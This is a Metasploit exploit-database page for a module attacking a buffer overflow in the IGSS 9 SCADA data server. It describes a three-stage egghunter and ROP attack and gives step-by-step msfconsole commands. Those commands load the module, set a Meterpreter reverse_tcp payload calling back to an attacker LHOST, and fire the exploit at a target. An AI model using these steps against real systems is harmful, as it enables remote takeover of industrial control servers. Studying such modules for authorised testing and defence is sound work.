7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow | Metasploit Exploit Database (DB)

7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow

This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command, a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report, which results arbitrary code execution under the context of the user. The attack is carried out in three stages. The first stage sends the final payload to IGSSdataServer.exe, which will remain in memory. The second stage sends the Add command so the process can find a valid ID for the Rename command. The last stage then triggers the vulnerability with the Rename command, and uses an egghunter to search for the shellcode that we sent in stage 1. The use of egghunter appears to be necessary due to the small buffer size, which cannot even contain our ROP chain and the final payload.

Search Other Modules


Exploit Rank

  • Normal

Exploit Authors

  • Luigi Auriemma < aluigi [at] autistici.org >
  • sinn3r < sinn3r [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Windows XP SP3
  • 1 - Windows Server 2003 SP2/R2 SP2

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/scada/igss9_igssdataserver_rename
msf exploit(igss9_igssdataserver_rename) > show payloads
msf exploit(igss9_igssdataserver_rename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(igss9_igssdataserver_rename) > set LHOST [MY IP ADDRESS]
msf exploit(igss9_igssdataserver_rename) > set RHOST [TARGET IP]
msf exploit(igss9_igssdataserver_rename) > show targets
msf exploit(igss9_igssdataserver_rename) > set TARGET [TARGET ID]
msf exploit(igss9_igssdataserver_rename) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 12401)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)